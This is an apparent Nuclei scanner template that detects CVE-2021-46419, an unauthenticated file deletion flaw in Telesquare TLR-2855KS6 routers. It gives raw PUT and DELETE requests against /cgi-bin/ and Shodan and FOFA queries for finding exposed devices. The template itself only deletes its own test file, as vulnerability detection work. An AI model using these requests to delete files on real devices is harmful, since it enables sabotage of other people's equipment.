id: CVE-2021-46419

info:
  name: Telesquare TLR-2855KS6 - Arbitrary File Deletion
  author: DhiyaneshDK
  severity: critical
  description: |
    An unauthorized file deletion vulnerability in Telesquare TLR-2855KS6 via DELETE method can allow deletion of system files and scripts.
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2021-46419
    - http://packetstormsecurity.com/files/166675/Telesquare-TLR-2855KS6-Arbitrary-File-Deletion.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2021-46419
    epss-score: 0.36968
    epss-percentile: 0.97176
    cpe: cpe:2.3:o:telesquare:tlr-2855ks6_firmware:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: telesquare
    product: "tlr-2855ks6_firmware"
    shodan-query:
      - "title:\"Login to TLR-2855KS6\""
      - http.title:"login to tlr-2855ks6"
    fofa-query:
      - "product==\"TELESQUARE-TLR-2855KS6\""
      - title="login to tlr-2855ks6"
      - product=="telesquare-tlr-2855ks6"
    google-query: "intitle:\"login to tlr-2855ks6\""
  tags: packetstorm,cve,cve2021,telesquare,intrusive
variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        PUT /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        DNT: 1

        {{randstr}}
      - |
        DELETE /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        DNT: 1

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 201 && status_code_2 == 204'
          - 'contains(server_1, "lighttpd")'
        condition: and
# digest: 4b0a00483046022100f7f07c8bd0dff28045d28415b75ea4246e755b1724a9b64a0b481bed44871cd20221009f5643cdf880b80941aa0f54953b785dd38e9f877c77a03d469977ad5670e6d6:922c64590222798bb761d5b6d8e72950